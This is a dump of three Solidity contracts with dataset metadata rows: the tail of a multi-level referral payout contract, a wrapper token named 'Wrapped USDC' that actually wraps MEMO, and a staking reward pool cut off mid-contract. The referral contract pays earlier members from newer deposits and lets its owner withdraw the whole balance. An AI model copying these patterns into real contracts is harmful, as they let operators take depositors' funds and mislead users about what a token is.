owner.transfer(msg.value * 15 / 100);
}
function findFreep1Referrer(address _userAddress) public view returns (address) {
if (users[_userAddress].autopoolreferrals.length < 2) {
return _userAddress;
}
address[] memory referrals = new address[](1024);
referrals[0] = users[_userAddress].autopoolreferrals[0];
referrals[1] = users[_userAddress].autopoolreferrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for (uint i = 0; i < 1024; i++) {
if (users[referrals[i]].autopoolreferrals.length == 2) {
if (i < 512) {
referrals[(i+1)*2] = users[referrals[i]].autopoolreferrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].autopoolreferrals[1];
}
} else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, "No Free Referrer");
return freeReferrer;
}
function viewRoyaltyBonus(address _user) public view returns(uint256){
uint256 bonusamount = 0;
uint256 index = 0;
uint256 royaltyone = users[_user].packagewhenroyalty[index];
for(uint256 i = royaltyone;i<royaltycycle;i++){
uint256 packano = users[_user].numofpackage[index];
if(packano >= 2){
if(users[_user].packagewhenroyalty.length > index + 1) {
if(i == users[_user].packagewhenroyalty[index + 1]){
index++;
}
}
uint256 royaltyamount = royaltybonuses[i][packano-2];
uint256 royaltylength = royaltyuserslength[i][packano-2];
if(royaltyamount != 0 && royaltylength != 0){
uint256 amount = royaltyamount / royaltylength;
bonusamount += amount;
}
}
}
return bonusamount;
}
function viewRoyaltyBonusWithDetail(address _user) public view returns(uint256[] memory,uint256[] memory){
uint256 index = 0;
uint256 arrayindex = 0;
uint256 royaltyone = users[_user].packagewhenroyalty[index];
uint256[] memory _bonusamount = new uint256[](royaltycycle - royaltyone);
uint256[] memory _time = new uint256[](royaltycycle - royaltyone);
for(uint256 i = royaltyone;i<royaltycycle;i++){
uint256 packano = users[_user].numofpackage[index];
if(packano >= 2){
if(users[_user].packagewhenroyalty.length > index + 1) {
if(i == users[_user].packagewhenroyalty[index + 1]){
index++;
}
}
uint256 royaltyamount = royaltybonuses[i][packano-2];
uint256 royaltylength = royaltyuserslength[i][packano-2];
if(royaltyamount != 0 && royaltylength != 0){
uint256 amount = royaltyamount / royaltylength;
_bonusamount[arrayindex] = amount;
_time[arrayindex] = royaltytime[i];
}
}
arrayindex++;
}
return(_bonusamount,_time);
}
function levelPayout(address user) private{
address upline = users[user].autopool_upline;
for(uint40 i=0;i<level_bonuses.length;i++){
if(upline == address(0))
break;
uint256 bonus = msg.value * level_bonuses[i] / 1000;
if(i<1){
userbonuses[upline].level_bonus += bonus;
users[upline].max_payouts += bonus;
emit LevelPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}else{
if(users[upline].referrals >= 2){
userbonuses[upline].level_bonus += bonus;
users[upline].max_payouts += bonus;
emit LevelPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}else{
userbonuses[upline].missed_level += bonus;
users[upline].max_payouts += bonus;
emit LevelPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}
}
upline = users[upline].autopool_upline;
}
}
function leadershipPayout(address user) private{
address upline = users[user].direct_upline;
for(uint40 i=0;i<leadership_bonuses.length;i++){
if(upline == address(0))
break;
uint256 bonus = msg.value * leadership_bonuses[i] / 1000;
if(i<1){
userbonuses[upline].leadership_bonus += bonus;
users[upline].max_payouts += bonus;
emit LeaderShipPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}else{
if(users[upline].referrals >= 2){
userbonuses[upline].leadership_bonus += bonus;
users[upline].max_payouts += bonus;
emit LeaderShipPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}else{
userbonuses[upline].missed_leadership += bonus;
users[upline].max_payouts += bonus;
emit LeaderShipPayout(users[upline].id,users[user].id,upline, user, bonus,users[user].package,i + 1);
}
}
upline = users[upline].direct_upline;
}
}
function withdraw() external {
uint256 withdrawable_amount;
uint256 bonusAmount = 0;
if(userbonuses[msg.sender].direct_bonus > 0){
withdrawable_amount += userbonuses[msg.sender].direct_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].direct_bonus;
userbonuses[msg.sender].direct_bonus = 0;
}
uint256 userroyalty = viewRoyaltyBonus(msg.sender);
if(userroyalty - users[msg.sender].royalty_payouts > 0 && users[msg.sender].referrals >= 2){
uint256 royalty_bonus = userroyalty - users[msg.sender].royalty_payouts;
withdrawable_amount += royalty_bonus;
users[msg.sender].payouts += royalty_bonus;
users[msg.sender].royalty_payouts += royalty_bonus;
}
if(userbonuses[msg.sender].team_performance_bonus > 0 && users[msg.sender].referrals >= 2){
withdrawable_amount += userbonuses[msg.sender].team_performance_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].team_performance_bonus;
userbonuses[msg.sender].team_performance_bonus = 0;
}
if(userbonuses[msg.sender].level_bonus > 0){
if(users[msg.sender].package <= 3){
if(users[msg.sender].max_payouts <= users[msg.sender].packageamount * multiplier){
withdrawable_amount += userbonuses[msg.sender].level_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].level_bonus;
bonusAmount += userbonuses[msg.sender].level_bonus;
userbonuses[msg.sender].level_bonus = 0;
}
}else{
withdrawable_amount += userbonuses[msg.sender].level_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].level_bonus;
bonusAmount += userbonuses[msg.sender].level_bonus;
userbonuses[msg.sender].level_bonus = 0;
}
}
if(userbonuses[msg.sender].leadership_bonus > 0){
if(users[msg.sender].package <= 3){
if(users[msg.sender].max_payouts <= users[msg.sender].packageamount * multiplier){
withdrawable_amount += userbonuses[msg.sender].leadership_bonus;
bonusAmount += userbonuses[msg.sender].leadership_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].leadership_bonus;
userbonuses[msg.sender].leadership_bonus = 0;
}
} else {
withdrawable_amount += userbonuses[msg.sender].leadership_bonus;
bonusAmount += userbonuses[msg.sender].leadership_bonus;
users[msg.sender].payouts += userbonuses[msg.sender].leadership_bonus;
userbonuses[msg.sender].leadership_bonus = 0;
}
}
if(userbonuses[msg.sender].missed_leadership > 0 && users[msg.sender].referrals >= 2){
if(users[msg.sender].package <= 3){
if(users[msg.sender].max_payouts <= users[msg.sender].packageamount * multiplier){
withdrawable_amount += userbonuses[msg.sender].missed_leadership;
bonusAmount += userbonuses[msg.sender].missed_leadership;
users[msg.sender].payouts += userbonuses[msg.sender].missed_leadership;
userbonuses[msg.sender].missed_leadership = 0;
}
} else {
withdrawable_amount += userbonuses[msg.sender].missed_leadership;
bonusAmount += userbonuses[msg.sender].missed_leadership;
users[msg.sender].payouts += userbonuses[msg.sender].missed_leadership;
userbonuses[msg.sender].missed_leadership = 0;
}
}
if(userbonuses[msg.sender].missed_level > 0 && users[msg.sender].referrals >= 2){
if(users[msg.sender].package <= 3){
if(users[msg.sender].max_payouts <= users[msg.sender].packageamount * multiplier){
withdrawable_amount += userbonuses[msg.sender].missed_level;
bonusAmount += userbonuses[msg.sender].missed_level;
users[msg.sender].payouts += userbonuses[msg.sender].missed_level;
userbonuses[msg.sender].missed_level = 0;
}
} else {
withdrawable_amount += userbonuses[msg.sender].missed_level;
bonusAmount += userbonuses[msg.sender].missed_level;
users[msg.sender].payouts += userbonuses[msg.sender].missed_level;
userbonuses[msg.sender].missed_level = 0;
}
}
if(withdrawable_amount > 0){
address upline = users[msg.sender].direct_upline;
if(upline != address(0)){
userbonuses[upline].team_performance_bonus += bonusAmount / 10;
withdrawable_amount -= bonusAmount / 10;
emit TeamPerformPayout(users[upline].id,users[msg.sender].id,upline,msg.sender,bonusAmount / 10);
}
msg.sender.transfer(withdrawable_amount);
emit Withdraw(users[msg.sender].id,msg.sender,withdrawable_amount);
}
}
function changePackageAmount(uint40 packageno,uint256 packageamount) external {
require(msg.sender==owner,'Permission denied');
packages[packageno] = packageamount;
}
function changeMultiplier(uint40 numoftimes) external {
require(msg.sender==owner,'Permission denied');
multiplier = numoftimes;
}
function withdrawSafe(uint _amount) external {
require(msg.sender==owner,'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
owner.transfer(amtToTransfer);
}
}
}
function viewUserReferrals(address user) public view returns(address[] memory){
return users[user].directReferrals;
}
function viewUsers(uint40 packageno) public view returns(address[] memory){
if(packageno == 1){
return Bronzeusers;
}else if(packageno == 2){
return Silverusers;
}else if(packageno == 3){
return Goldusers;
}else if(packageno == 4){
return Platinumusers;
}else if(packageno == 5){
return Diamondusers;
}
}
function royaltyBonusUserCount() public view returns(uint256 bronze,uint256 silver,uint256 gold,uint256 Platinum,uint256 Diamond){
bronze = Bronzeusers.length;
silver = Silverusers.length;
gold = Goldusers.length;
Platinum = Platinumusers.length;
Diamond = Diamondusers.length;
}
function viewPoolReferrals(address user) public view returns(address[] memory){
return users[user].autopoolreferrals;
}
}
| 297,995 | 10,650 |
f0bbf3cc3f32967b93f75b2e98dec506318e04e65a19c652d23133c5a075b4b5
| 30,323 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d2/d2813c4B36a644BF79D420B7D90081dBAD081B1C_wMEMO.sol
| 3,211 | 12,573 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMEMO {
function index() external view returns (uint);
}
contract wMEMO is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable MEMO;
constructor(address _MEMO) ERC20('Wrapped USDC', 'wUSDC') {
require(_MEMO != address(0));
MEMO = _MEMO;
}
function wrap(uint _amount) external returns (uint) {
IERC20(MEMO).transferFrom(msg.sender, address(this), _amount);
uint value = MEMOTowMEMO(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wMEMOToMEMO(_amount);
IERC20(MEMO).transfer(msg.sender, value);
return value;
}
function wMEMOToMEMO(uint _amount) public view returns (uint) {
return _amount.mul(IMEMO(MEMO).index()).div(10 ** decimals());
}
function MEMOTowMEMO(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IMEMO(MEMO).index());
}
}
| 125,091 | 10,651 |
b476bf98243c566a4edaa320ba0334989b627dc958a721b1667382283b0a706c
| 31,849 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d8/d873f5e3637143a700adb7e33ac7f7d3e4c500fe_SboozeRewardPool.sol
| 5,166 | 19,562 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of sbooze (rewards).
contract SboozeRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. sboozes to distribute per block.
uint256 lastRewardTime; // Last time that sboozes distribution occurs.
uint256 accSPlatPerShare; // Accumulated sboozes per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public sbooze;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when sbooze mining starts.
uint256 public poolStartTime;
// The time when sbooze mining ends.
uint256 public poolEndTime;
uint256 public sPlatPerSecond = 0.00450102 ether; // 70000 sbooze / (180 days * 24h * 60min * 60s)
uint256 public runningTime = 180 days; // 370 days
uint256 public constant TOTAL_REWARDS = 70000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _sbooze,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_sbooze != address(0)) sbooze = IERC20(_sbooze);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "SPlatRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "SPlatRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accSPlatPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's sPLAT allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(sPlatPerSecond);
return poolEndTime.sub(_fromTime).mul(sPlatPerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(sPlatPerSecond);
return _toTime.sub(_fromTime).mul(sPlatPerSecond);
}
}
// View function to see pending sPLATs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSPlatPerShare = pool.accSPlatPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _splatReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accSPlatPerShare = accSPlatPerShare.add(_splatReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accSPlatPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _splatReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accSPlatPerShare = pool.accSPlatPerShare.add(_splatReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
